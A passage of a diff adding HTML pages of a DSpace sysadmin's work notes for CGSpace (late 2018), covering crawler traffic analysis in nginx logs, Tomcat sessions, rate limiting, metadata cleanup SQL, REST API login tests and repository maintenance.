+   1516 35.237.175.180
+   1629 66.249.64.91
+   1758 5.9.6.51
+
    +
  • 5.9.6.51 is MegaIndex, which I’ve seen before…
    • +
+

2018-10-20

+
    +
  • I was going to try to run Solr in Docker because I learned I can run Docker on Travis-CI (for testing my dspace-statistics-api), but the oldest official Solr images are for 5.5, and DSpace’s Solr configuration is for 4.9
    • +
  • This means our existing Solr configuration doesn’t run in Solr 5.5:
    • +
+
$ sudo docker pull solr:5
+$ sudo docker run --name my_solr -v ~/dspace/solr/statistics/conf:/tmp/conf -d -p 8983:8983 -t solr:5
+$ sudo docker logs my_solr
+...
+ERROR: Error CREATEing SolrCore 'statistics': Unable to create core [statistics] Caused by: solr.IntField
+
    +
  • Apparently a bunch of variable types were removed in Solr 5
    • +
  • So for now it’s actually a huge pain in the ass to run the tests for my dspace-statistics-api
    • +
  • Linode sent a message that the CPU usage was high on CGSpace (linode18) last night
    • +
  • According to the nginx logs around that time it was 5.9.6.51 (MegaIndex) again:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "20/Oct/2018:(14|15|16)" | awk '{print $1}' | sort
+ | uniq -c | sort -n | tail -n 10
+    249 207.46.13.179
+    250 157.55.39.173
+    301 54.166.207.223
+    303 157.55.39.213
+    310 66.249.64.95
+    362 34.218.226.147
+    381 66.249.64.93
+    415 35.237.175.180
+   1205 66.249.64.91
+   1227 5.9.6.51
+
    +
  • This bot is only using the XMLUI and it does not seem to be re-using its sessions:
    • +
+
# grep -c 5.9.6.51 /var/log/nginx/*.log
+/var/log/nginx/access.log:9323
+/var/log/nginx/error.log:0
+/var/log/nginx/library-access.log:0
+/var/log/nginx/oai.log:0
+/var/log/nginx/rest.log:0
+/var/log/nginx/statistics.log:0
+# grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=5.9.6.51' dspace.log.2018-10-20 | sort | uniq
+8915
+
    +
  • Last month I added “crawl” to the Tomcat Crawler Session Manager Valve’s regular expression matching, and it seems to be working for MegaIndex’s user agent:
    • +
+
$ http --print Hh 'https://dspacetest.cgiar.org/handle/10568/1' User-Agent:'"Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)"'
+
    +
  • So I’m not sure why this bot uses so many sessions — is it because it requests very slowly?
    • +
+

2018-10-21

+
    +
  • Discuss AfricaRice joining CGSpace
    • +
+

2018-10-22

+
    +
  • Post message to Yammer about usage rights (dc.rights)
    • +
  • Change build.properties to use HTTPS for Handles in our Ansible infrastructure playbooks
    • +
  • We will still need to do a batch update of the dc.identifier.uri and other fields in the database:
    • +
+
dspace=# UPDATE metadatavalue SET text_value=replace(text_value, 'http://', 'https://') WHERE resource_type_id=2 AND text_value LIKE 'http://hdl.handle.net%';
+
    +
  • While I was doing that I found two items using CGSpace URLs instead of handles in their dc.identifier.uri so I corrected those
    • +
  • I also found several items that had invalid characters or multiple Handles in some related URL field like cg.link.reference so I corrected those too
    • +
  • Improve the usage rights on the submission form by adding a default selection with no value as well as a better hint to look for the CC license on the publisher page or in the PDF (#398)
    • +
  • I deployed the changes on CGSpace, ran all system updates, and rebooted the server
    • +
  • Also, I updated all Handles in the database to use HTTPS:
    • +
+
dspace=# UPDATE metadatavalue SET text_value=replace(text_value, 'http://', 'https://') WHERE resource_type_id=2 AND text_value LIKE 'http://hdl.handle.net%';
+UPDATE 76608
+
    +
  • Skype with Peter about ToRs for the AReS open source work and future plans to develop tools around the DSpace ecosystem
    • +
  • Help CGSpace users with some issues related to usage rights
    • +
+

2018-10-23

+
    +
  • Improve the usage rights (dc.rights) on CGSpace again by adding the long names in the submission form, as well as adding versio 3.0 and Creative Commons Zero (CC0) public domain license (#399)
    • +
  • Add “usage rights” to the XMLUI item display (#400)
    • +
  • I emailed the MARLO guys to ask if they can send us a dump of rights data and Handles from their system so we can tag our older items on CGSpace
    • +
  • Testing REST login and logout via httpie because Felix from Earlham says he’s having issues:
    • +
+
$ http --print b POST 'https://dspacetest.cgiar.org/rest/login' email='testdeposit@cgiar.org' password=deposit
+acef8a4a-41f3-4392-b870-e873790f696b
+
+$ http POST 'https://dspacetest.cgiar.org/rest/logout' rest-dspace-token:acef8a4a-41f3-4392-b870-e873790f696b
+
    +
  • Also works via curl (login, check status, logout, check status):
    • +
+
$ curl -H "Content-Type: application/json" --data '{"email":"testdeposit@cgiar.org", "password":"deposit"}' https://dspacetest.cgiar.org/rest/login
+e09fb5e1-72b0-4811-a2e5-5c1cd78293cc
+$ curl -X GET -H "Content-Type: application/json" -H "Accept: application/json" -H "rest-dspace-token: e09fb5e1-72b0-4811-a2e5-5c1cd78293cc" https://dspacetest.cgiar.org/rest/status
+{"okay":true,"authenticated":true,"email":"testdeposit@cgiar.org","fullname":"Test deposit","token":"e09fb5e1-72b0-4811-a2e5-5c1cd78293cc"}
+$ curl -X POST -H "Content-Type: application/json" -H "rest-dspace-token: e09fb5e1-72b0-4811-a2e5-5c1cd78293cc" https://dspacetest.cgiar.org/rest/logout
+$ curl -X GET -H "Content-Type: application/json" -H "Accept: application/json" -H "rest-dspace-token: e09fb5e1-72b0-4811-a2e5-5c1cd78293cc" https://dspacetest.cgiar.org/rest/status
+{"okay":true,"authenticated":false,"email":null,"fullname":null,"token":null}%
+
    +
  • Improve the documentatin of my dspace-statistics-api
    • +
  • Email Modi and Jayashree from ICRISAT to ask if they want to join CGSpace as partners
    • +
+

2018-10-24

+
    +
  • I deployed the new Creative Commons choices to the usage rights on the CGSpace submission form
    • +
  • Also, I deployed the changes to show usage rights on the item view
    • +
  • Re-work the dspace-statistics-api to use Python’s native json instead of ujson to make it easier to deploy in places where we don’t have — or don’t want to have — Python headers and a compiler (like containers)
    • +
  • Re-work the deployment of the API to use systemd’s EnvironmentFile to read the environment variables instead of Environment in the RMG Ansible infrastructure scripts
    • +
+

2018-10-25

+
    +
  • Send Peter and Jane a list of technical ToRs for AReS open source work:
    • +
  • Basic version of AReS that works with metadata fields present in default DSpace 5.x/6.x (for example author, date issued, type, subjects) +
      +
    • Ability to harvest multiple repositories
      • +
    • Configurable list of extra fields to harvest, per repository
      • +
    • Configurable list of field and value mappings for consistent display/search with multiple repositories
      • +
    • Configurable list of graphs/blocks to display on homepage
      • +
    • Optional harvesting of DSpace view/download statistics if dspace-statistics-api is available on repository
      • +
    • Optional harvesting of Altmetric mentions
      • +
    • Configurable scheduling of harvesting (daily, weekly, etc)
      • +
    • High-quality README.md on GitHub with description, requirements, deployment instructions, and license (GPLv3 unless ICARDA has a problem with that)
      • +
    +
    • +
  • Maria asked if we can add publisher (dc.publisher) to the advanced search filters, so I created a GitHub issue to track it
    • +
+

2018-10-28

+
    +
  • I forked the SolrClient library and updated its kazoo dependency to be version 2.5.0 so we stop getting errors about “async” being a reserved keyword in Python 3.7
    • +
  • Then I re-generated the requirements.txt in the dspace-statistics-library and released version 0.5.2
    • +
  • Then I re-deployed the API on DSpace Test, ran all system updates on the server, and rebooted it
    • +
  • I tested my hack of depositing to one collection where the default item and bistream READ policies are restricted and then mapping the item to another collection, but the item retains its default policies so Anonymous cannot see them in the mapped collection either
    • +
  • Perhaps we need to try moving the item and inheriting the target collection’s policies?
    • +
  • I merged the changes for adding publisher (dc.publisher) to the advanced search to the 5_x-prod branch (#402)
    • +
  • I merged the changes for adding versionless Creative Commons licenses to the submission form to the 5_x-prod branch (#403)
    • +
  • I will deploy them later this week
    • +
+

2018-10-29

+
    +
  • I deployed the publisher and Creative Commons changes to CGSpace, ran all system updates, and rebooted the server
    • +
  • I sent the email to Jane Poole and ILRI ICT and Finance to start the admin process of getting a new Linode server for AReS
    • +
+

2018-10-30

+
    +
  • Meet with the COPO guys to walk them through the CGSpace submission workflow and discuss CG core, REST API, etc +
      +
    • I suggested that they look into submitting via the SWORDv2 protocol because it respects the workflows
      • +
    • They said that they’re not too worried about the hierarchical CG core schema, that they would just flatten metadata like affiliations when depositing to a DSpace repository
      • +
    • I said that it might be time to engage the DSpace community to add support for more advanced schemas in DSpace 7+ (perhaps partnership with Atmire?)
      • +
    +
    • +
+

2018-10-31

+
    +
  • More discussion and planning for AReS open sourcing and Amman meeting in 2019-10
    • +
  • I did some work to clean up and improve the dspace-statistics-api README.md and project structure and moved it to the ILRI organization on GitHub
    • +
  • Now the API serves some basic documentation on the root route
    • +
  • I want to announce it to the dspace-tech mailing list soon
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2018-11/index.html b/docs/2018-11/index.html new file mode 100644 index 000000000..32f663734 --- /dev/null +++ b/docs/2018-11/index.html @@ -0,0 +1,607 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + November, 2018 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

November, 2018

+

+ + in + Notes + + +

+
+

2018-11-01

+
    +
  • Finalize AReS Phase I and Phase II ToRs
    • +
  • Send a note about my dspace-statistics-api to the dspace-tech mailing list
    • +
+

2018-11-03

+
    +
  • Linode has been sending mails a few times a day recently that CGSpace (linode18) has had high CPU usage
    • +
  • Today these are the top 10 IPs:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "03/Nov/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+   1300 66.249.64.63
+   1384 35.237.175.180
+   1430 138.201.52.218
+   1455 207.46.13.156
+   1500 40.77.167.175
+   1979 50.116.102.77
+   2790 66.249.64.61
+   3367 84.38.130.177
+   4537 70.32.83.92
+  22508 66.249.64.59
+
    +
  • The 66.249.64.x are definitely Google
    • +
  • 70.32.83.92 is well known, probably CCAFS or something, as it’s only a few thousand requests and always to REST API
    • +
  • 84.38.130.177 is some new IP in Latvia that is only hitting the XMLUI, using the following user agent:
    • +
+
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1
+
    +
  • They at least seem to be re-using their Tomcat sessions:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=84.38.130.177' dspace.log.2018-11-03
+342
+
    +
  • 50.116.102.77 is also a regular REST API user
    • +
  • 40.77.167.175 and 207.46.13.156 seem to be Bing
    • +
  • 138.201.52.218 seems to be on Hetzner in Germany, but is using this user agent:
    • +
+
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:62.0) Gecko/20100101 Firefox/62.0
+
    +
  • And it doesn’t seem they are re-using their Tomcat sessions:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=138.201.52.218' dspace.log.2018-11-03
+1243
+
    +
  • Ah, we’ve apparently seen this server exactly a year ago in 2017-11, making 40,000 requests in one day…
    • +
  • I wonder if it’s worth adding them to the list of bots in the nginx config?
    • +
  • Linode sent a mail that CGSpace (linode18) is using high outgoing bandwidth
    • +
  • Looking at the nginx logs again I see the following top ten IPs:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "03/Nov/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+   1979 50.116.102.77
+   1980 35.237.175.180
+   2186 207.46.13.156
+   2208 40.77.167.175
+   2843 66.249.64.63
+   4220 84.38.130.177
+   4537 70.32.83.92
+   5593 66.249.64.61
+  12557 78.46.89.18
+  32152 66.249.64.59
+
    +
  • 78.46.89.18 is new since I last checked a few hours ago, and it’s from Hetzner with the following user agent:
    • +
+
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:62.0) Gecko/20100101 Firefox/62.0
+
    +
  • It’s making lots of requests, though actually it does seem to be re-using its Tomcat sessions:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=78.46.89.18' dspace.log.2018-11-03
+8449
+$ grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=78.46.89.18' dspace.log.2018-11-03 | sort | uniq | wc -l
+1
+
    +
  • Updated on 2018-12-04 to correct the grep command above, as it was inaccurate and it seems the bot was actually already re-using its Tomcat sessions
    • +
  • I could add this IP to the list of bot IPs in nginx, but it seems like a futile effort when some new IP could come along and do the same thing
    • +
  • Perhaps I should think about adding rate limits to dynamic pages like /discover and /browse
    • +
  • I think it’s reasonable for a human to click one of those links five or ten times a minute…
    • +
  • To contrast, 78.46.89.18 made about 300 requests per minute for a few hours today:
    • +
+
# grep 78.46.89.18 /var/log/nginx/access.log | grep -o -E '03/Nov/2018:[0-9][0-9]:[0-9][0-9]' | sort | uniq -c | sort -n | tail -n 20
+    286 03/Nov/2018:18:02
+    287 03/Nov/2018:18:21
+    289 03/Nov/2018:18:23
+    291 03/Nov/2018:18:27
+    293 03/Nov/2018:18:34
+    300 03/Nov/2018:17:58
+    300 03/Nov/2018:18:22
+    300 03/Nov/2018:18:32
+    304 03/Nov/2018:18:12
+    305 03/Nov/2018:18:13
+    305 03/Nov/2018:18:24
+    312 03/Nov/2018:18:39
+    322 03/Nov/2018:18:17
+    326 03/Nov/2018:18:38
+    327 03/Nov/2018:18:16
+    330 03/Nov/2018:17:57
+    332 03/Nov/2018:18:19
+    336 03/Nov/2018:17:56
+    340 03/Nov/2018:18:14
+    341 03/Nov/2018:18:18
+
    +
  • If they want to download all our metadata and PDFs they should use an API rather than scraping the XMLUI
    • +
  • I will add them to the list of bot IPs in nginx for now and think about enforcing rate limits in XMLUI later
    • +
  • Also, this is the third (?) time a mysterious IP on Hetzner has done this… who is this?
    • +
+

2018-11-04

+
    +
  • Forward Peter’s information about CGSpace financials to Modi from ICRISAT
    • +
  • Linode emailed about the CPU load and outgoing bandwidth on CGSpace (linode18) again
    • +
  • Here are the top ten IPs active so far this morning:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "04/Nov/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+   1083 2a03:2880:11ff:2::face:b00c
+   1105 2a03:2880:11ff:d::face:b00c
+   1111 2a03:2880:11ff:f::face:b00c
+   1134 84.38.130.177
+   1893 50.116.102.77
+   2040 66.249.64.63
+   4210 66.249.64.61
+   4534 70.32.83.92
+  13036 78.46.89.18
+  20407 66.249.64.59
+
    +
  • 78.46.89.18 is back… and it is still actually re-using its Tomcat sessions:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=78.46.89.18' dspace.log.2018-11-04
+8765
+$ grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=78.46.89.18' dspace.log.2018-11-04 | sort | uniq | wc -l
+1
+
    +
  • Updated on 2018-12-04 to correct the grep command and point out that the bot was actually re-using its Tomcat sessions properly
    • +
  • Also, now we have a ton of Facebook crawlers:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "04/Nov/2018" | grep "2a03:2880:11ff:" | awk '{print $1}' | sort | uniq -c | sort -n
+    905 2a03:2880:11ff:b::face:b00c
+    955 2a03:2880:11ff:5::face:b00c
+    965 2a03:2880:11ff:e::face:b00c
+    984 2a03:2880:11ff:8::face:b00c
+    993 2a03:2880:11ff:3::face:b00c
+    994 2a03:2880:11ff:7::face:b00c
+   1006 2a03:2880:11ff:10::face:b00c
+   1011 2a03:2880:11ff:4::face:b00c
+   1023 2a03:2880:11ff:6::face:b00c
+   1026 2a03:2880:11ff:9::face:b00c
+   1039 2a03:2880:11ff:1::face:b00c
+   1043 2a03:2880:11ff:c::face:b00c
+   1070 2a03:2880:11ff::face:b00c
+   1075 2a03:2880:11ff:a::face:b00c
+   1093 2a03:2880:11ff:2::face:b00c
+   1107 2a03:2880:11ff:d::face:b00c
+   1116 2a03:2880:11ff:f::face:b00c
+
    +
  • They are really making shit tons of requests:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=2a03:2880:11ff' dspace.log.2018-11-04
+37721
+
    +
  • Updated on 2018-12-04 to correct the grep command to accurately show the number of requests
    • +
  • Their user agent is:
    • +
+
facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
+
    +
  • I will add it to the Tomcat Crawler Session Manager valve
    • +
  • Later in the evening… ok, this Facebook bot is getting super annoying:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "04/Nov/2018" | grep "2a03:2880:11ff:" | awk '{print $1}' | sort | uniq -c | sort -n
+   1871 2a03:2880:11ff:3::face:b00c
+   1885 2a03:2880:11ff:b::face:b00c
+   1941 2a03:2880:11ff:8::face:b00c
+   1942 2a03:2880:11ff:e::face:b00c
+   1987 2a03:2880:11ff:1::face:b00c
+   2023 2a03:2880:11ff:2::face:b00c
+   2027 2a03:2880:11ff:4::face:b00c
+   2032 2a03:2880:11ff:9::face:b00c
+   2034 2a03:2880:11ff:10::face:b00c
+   2050 2a03:2880:11ff:5::face:b00c
+   2061 2a03:2880:11ff:c::face:b00c
+   2076 2a03:2880:11ff:6::face:b00c
+   2093 2a03:2880:11ff:7::face:b00c
+   2107 2a03:2880:11ff::face:b00c
+   2118 2a03:2880:11ff:d::face:b00c
+   2164 2a03:2880:11ff:a::face:b00c
+   2178 2a03:2880:11ff:f::face:b00c
+
    +
  • Now at least the Tomcat Crawler Session Manager Valve seems to be forcing it to re-use some Tomcat sessions:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=2a03:2880:11ff' dspace.log.2018-11-04
+37721
+$ grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=2a03:2880:11ff' dspace.log.2018-11-04 | sort | uniq | wc -l
+15206
+
    +
  • I think we still need to limit more of the dynamic pages, like the “most popular” country, item, and author pages
    • +
  • It seems these are popular too, and there is no fucking way Facebook needs that information, yet they are requesting thousands of them!
    • +
+
# grep 'face:b00c' /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -c 'most-popular/'
+7033
+
    +
  • I added the “most-popular” pages to the list that return X-Robots-Tag: none to try to inform bots not to index or follow those pages
    • +
  • Also, I implemented an nginx rate limit of twelve requests per minute on all dynamic pages… I figure a human user might legitimately request one every five seconds
    • +
+

2018-11-05

+
    +
  • I wrote a small Python script add-dc-rights.py to add usage rights (dc.rights) to CGSpace items based on the CSV Hector gave me from MARLO:
    • +
+
$ ./add-dc-rights.py -i /tmp/marlo.csv -db dspace -u dspace -p 'fuuu'
+
    +
  • The file marlo.csv was cleaned up and formatted in Open Refine
    • +
  • 165 of the items in their 2017 data are from CGSpace!
    • +
  • I will add the data to CGSpace this week (done!)
    • +
  • Jesus, is Facebook trying to be annoying? At least the Tomcat Crawler Session Manager Valve is working to force the bot to re-use its Tomcat sessions:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "05/Nov/2018" | grep -c "2a03:2880:11ff:"
+29889
+# grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=2a03:2880:11ff' dspace.log.2018-11-05
+29763
+# grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=2a03:2880:11ff' dspace.log.2018-11-05 | sort | uniq | wc -l
+1057
+# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "05/Nov/2018" | grep "2a03:2880:11ff:" | grep -c -E "(handle|bitstream)"
+29896
+
    +
  • 29,000 requests from Facebook and none of the requests are to the dynamic pages I rate limited yesterday!
    • +
  • At least the Tomcat Crawler Session Manager Valve is working now…
    • +
+

2018-11-06

+
    +
  • I updated all the DSpace helper Python scripts to validate against PEP 8 using Flake8
    • +
  • While I was updating the rest-find-collections.py script I noticed it was using expand=all to get the collection and community IDs
    • +
  • I realized I actually only need expand=collections,subCommunities, and I wanted to see how much overhead the extra expands created so I did three runs of each:
    • +
+
$ time ./rest-find-collections.py 10568/27629 --rest-url https://dspacetest.cgiar.org/rest
+
    +
  • Average time with all expands was 14.3 seconds, and 12.8 seconds with collections,subCommunities, so 1.5 seconds difference!
    • +
+

2018-11-07

+
    +
  • Update my dspace-statistics-api to use a database management class with Python contexts so that connections and cursors are automatically opened and closed
    • +
  • Tag version 0.7.0 of the dspace-statistics-api
    • +
+

2018-11-08

+ +

2018-11-11

+
    +
  • I added tests to the dspace-statistics-api!
    • +
  • It runs with Python 3.5, 3.6, and 3.7 using pytest, including automatically on Travis CI!
    • +
+

2018-11-13

+
    +
  • Help troubleshoot an issue with Judy Kimani submitting to the ILRI project reports, papers and documents collection on CGSpace
    • +
  • For some reason there is an existing group for the “Accept/Reject” workflow step, but it’s empty
    • +
  • I added Judy to the group and told her to try again
    • +
  • Sisay changed his leave to be full days until December so I need to finish the IITA records that he was working on (IITA_ ALIZZY1802-csv_oct23)
    • +
  • Sisay had said there were a few PDFs missing and Bosede sent them this week, so I had to find those items on DSpace Test and add the bitstreams to the items manually
    • +
  • As for the collection mappings I think I need to export the CSV from DSpace Test, add mappings for each type (ie Books go to IITA books collection, etc), then re-import to DSpace Test, then export from DSpace command line in “migrate” mode…
    • +
  • From there I should be able to script the removal of the old DSpace Test collection so they just go to the correct IITA collections on import into CGSpace
    • +
+

2018-11-14

+
    +
  • Finally import the 277 IITA (ALIZZY1802) records to CGSpace
    • +
  • I had to export them from DSpace Test and import them into a temporary collection on CGSpace first, then export the collection as CSV to map them to new owning collections (IITA books, IITA posters, etc) with OpenRefine because DSpace’s dspace export command doesn’t include the collections for the items!
    • +
  • Delete all old IITA collections on DSpace Test and run dspace cleanup to get rid of all the bitstreams
    • +
+

2018-11-15

+ +

2018-11-18

+
    +
  • Request invoice from Wild Jordan for their meeting venue in January
    • +
+

2018-11-19

+
    +
  • Testing corrections and deletions for AGROVOC (dc.subject) that Sisay and Peter were working on earlier this month:
    • +
+
$ ./fix-metadata-values.py -i 2018-11-19-correct-agrovoc.csv -f dc.subject -t correct -m 57 -db dspace -u dspace -p 'fuu' -d
+$ ./delete-metadata-values.py -i 2018-11-19-delete-agrovoc.csv -f dc.subject -m 57 -db dspace -u dspace -p 'fuu' -d
+
    +
  • Then I ran them on both CGSpace and DSpace Test, and started a full Discovery re-index on CGSpace:
    • +
+
$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
    +
  • Generate a new list of the top 1500 AGROVOC subjects on CGSpace to send to Peter and Sisay:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE metadata_field_id = 57 AND resource_type_id = 2 GROUP BY text_value ORDER BY count DESC LIMIT 1500) to /tmp/2018-11-19-top-1500-subject.csv WITH CSV HEADER;
+

2018-11-20

+
    +
  • The Discovery re-indexing on CGSpace never finished yesterday… the command died after six minutes
    • +
  • The dspace.log.2018-11-19 shows this at the time:
    • +
+
2018-11-19 15:23:04,221 ERROR com.atmire.dspace.discovery.AtmireSolrService @ DSpace kernel cannot be null
+java.lang.IllegalStateException: DSpace kernel cannot be null
+        at org.dspace.utils.DSpace.getServiceManager(DSpace.java:63)
+        at org.dspace.utils.DSpace.getSingletonService(DSpace.java:87)
+        at com.atmire.dspace.discovery.AtmireSolrService.buildDocument(AtmireSolrService.java:102)
+        at com.atmire.dspace.discovery.AtmireSolrService.indexContent(AtmireSolrService.java:815)
+        at com.atmire.dspace.discovery.AtmireSolrService.updateIndex(AtmireSolrService.java:884)
+        at org.dspace.discovery.SolrServiceImpl.createIndex(SolrServiceImpl.java:370)
+        at org.dspace.discovery.IndexClient.main(IndexClient.java:117)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+2018-11-19 15:23:04,223 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Processing (4629 of 76007): 72731
+
    +
  • I looked in the Solr log around that time and I don’t see anything…
    • +
  • Working on Udana’s WLE records from last month, first the sixteen records in 2018-11-20 RDL Temp +
      +
    • these items will go to the Restoring Degraded Landscapes collection
      • +
    • a few items missing DOIs, but they are easily available on the publication page
      • +
    • clean up DOIs to use “https://doi.org” format
      • +
    • clean up some cg.identifier.url to remove unneccessary query strings
      • +
    • remove columns with no metadata (river basin, place, target audience, isbn, uri, publisher, ispartofseries, subject)
      • +
    • fix column with invalid spaces in metadata field name (cg. subject. wle)
      • +
    • trim and collapse whitespace in all fields
      • +
    • remove some weird Unicode characters (0xfffd) from abstracts, citations, and titles using Open Refine: value.replace('�','')
      • +
    • add dc.rights to some fields that I noticed while checking DOIs
      • +
    +
    • +
  • Then the 24 records in 2018-11-20 VRC Temp +
      +
    • these items will go to the Variability, Risks and Competing Uses collection
      • +
    • trim and collapse whitespace in all fields (lots in WLE subject!)
      • +
    • clean up some cg.identifier.url fields that had unneccessary anchors in their links
      • +
    • clean up DOIs to use “https://doi.org” format
      • +
    • fix column with invalid spaces in metadata field name (cg. subject. wle)
      • +
    • remove columns with no metadata (place, target audience, isbn, uri, publisher, ispartofseries, subject)
      • +
    • remove some weird Unicode characters (0xfffd) from abstracts, citations, and titles using Open Refine: value.replace('�','')
      • +
    • I notice a few items using DOIs pointing at ICARDA’s DSpace like: https://doi.org/20.500.11766/8178, which then points at the “real” DOI on the publisher’s site… these should be using the real DOI instead of ICARDA’s “fake” Handle DOI
      • +
    • Some items missing DOIs, but they clearly have them if you look at the publisher’s site
      • +
    +
    • +
+

2018-11-22

+
    +
  • Tezira is having problems submitting to the ILRI brochures collection for some reason +
      +
    • Judy Kimani was having issues resuming submissions in another ILRI collection recently, and the issue there was due to an empty group defined for the “accept/reject” step (aka workflow step 1)
      • +
    • The error then was “authorization denied for workflow step 1” where “workflow step 1” was the “accept/reject” step, which had a group defined, but was empty
      • +
    • Adding her to this group solved her issues
      • +
    • Tezira says she’s also getting the same “authorization denied” error for workflow step 1 when resuming submissions, so I told Abenet to delete the empty group
      • +
    +
    • +
+

2018-11-26

+
    +
  • This WLE item is issued on 2018-10 and accessioned on 2018-10-22 but does not show up in the WLE R4D Learning Series collection on CGSpace for some reason, and therefore does not show up on the WLE publication website
    • +
  • I tried to remove that collection from Discovery and do a simple re-index:
    • +
+
$ dspace index-discovery -r 10568/41888
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery
+
    +
  • … but the item still doesn’t appear in the collection
    • +
  • Now I will try a full Discovery re-index:
    • +
+
$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
    +
  • Ah, Marianne had set the item as private when she uploaded it, so it was still private
    • +
  • I made it public and now it shows up in the collection list
    • +
  • More work on the AReS terms of reference for CodeObia
    • +
  • Erica from AgriKnowledge emailed me to say that they have implemented the changes in their item page UI so that they include the permanent identifier on items harvested from CGSpace, for example: https://www.agriknowledge.org/concern/generics/wd375w33s
    • +
+

2018-11-27

+
    +
  • Linode alerted me that the outbound traffic rate on CGSpace (linode19) was very high
    • +
  • The top users this morning are:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "27/Nov/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    229 46.101.86.248
+    261 66.249.64.61
+    447 66.249.64.59
+    541 207.46.13.77
+    548 40.77.167.97
+    564 35.237.175.180
+    595 40.77.167.135
+    611 157.55.39.91
+   4564 205.186.128.185
+   4564 70.32.83.92
+
    +
  • We know 70.32.83.92 is CCAFS harvester on MediaTemple, but 205.186.128.185 is new appears to be a new CCAFS harvester
    • +
  • I think we might want to prune some old accounts from CGSpace, perhaps users who haven’t logged in in the last two years would be a conservative bunch:
    • +
+
$ dspace dsrun org.dspace.eperson.Groomer -a -b 11/27/2016 | wc -l
+409
+$ dspace dsrun org.dspace.eperson.Groomer -a -b 11/27/2016 -d
+
    +
  • This deleted about 380 users, skipping those who have submissions in the repository
    • +
  • Judy Kimani was having problems taking tasks in the ILRI project reports, papers and documents collection again +
      +
    • The workflow step 1 (accept/reject) is now undefined for some reason
      • +
    • Last week the group was defined, but empty, so we added her to the group and she was able to take the tasks
      • +
    • Since then it looks like the group was deleted, so now she didn’t have permission to take or leave the tasks in her pool
      • +
    • We added her back to the group, then she was able to take the tasks, and then we removed the group again, as we generally don’t use this step in CGSpace
      • +
    +
    • +
  • Help Marianne troubleshoot some issue with items in their WLE collections and the WLE publicatons website
    • +
+

2018-11-28

+
    +
  • Change the usage rights text a bit based on Maria Garruccio’s feedback on “all rights reserved” (#404)
    • +
  • Run all system updates on DSpace Test (linode19) and reboot the server
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2018-12/index.html b/docs/2018-12/index.html new file mode 100644 index 000000000..732345182 --- /dev/null +++ b/docs/2018-12/index.html @@ -0,0 +1,648 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + December, 2018 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

December, 2018

+

+ + in + Notes + + +

+
+

2018-12-01

+
    +
  • Switch CGSpace (linode18) to use OpenJDK instead of Oracle JDK
    • +
  • I manually installed OpenJDK, then removed Oracle JDK, then re-ran the Ansible playbook to update all configuration files, etc
    • +
  • Then I ran all system updates and restarted the server
    • +
+

2018-12-02

+ +
    +
  • The error when I try to manually run the media filter for one item from the command line:
    • +
+
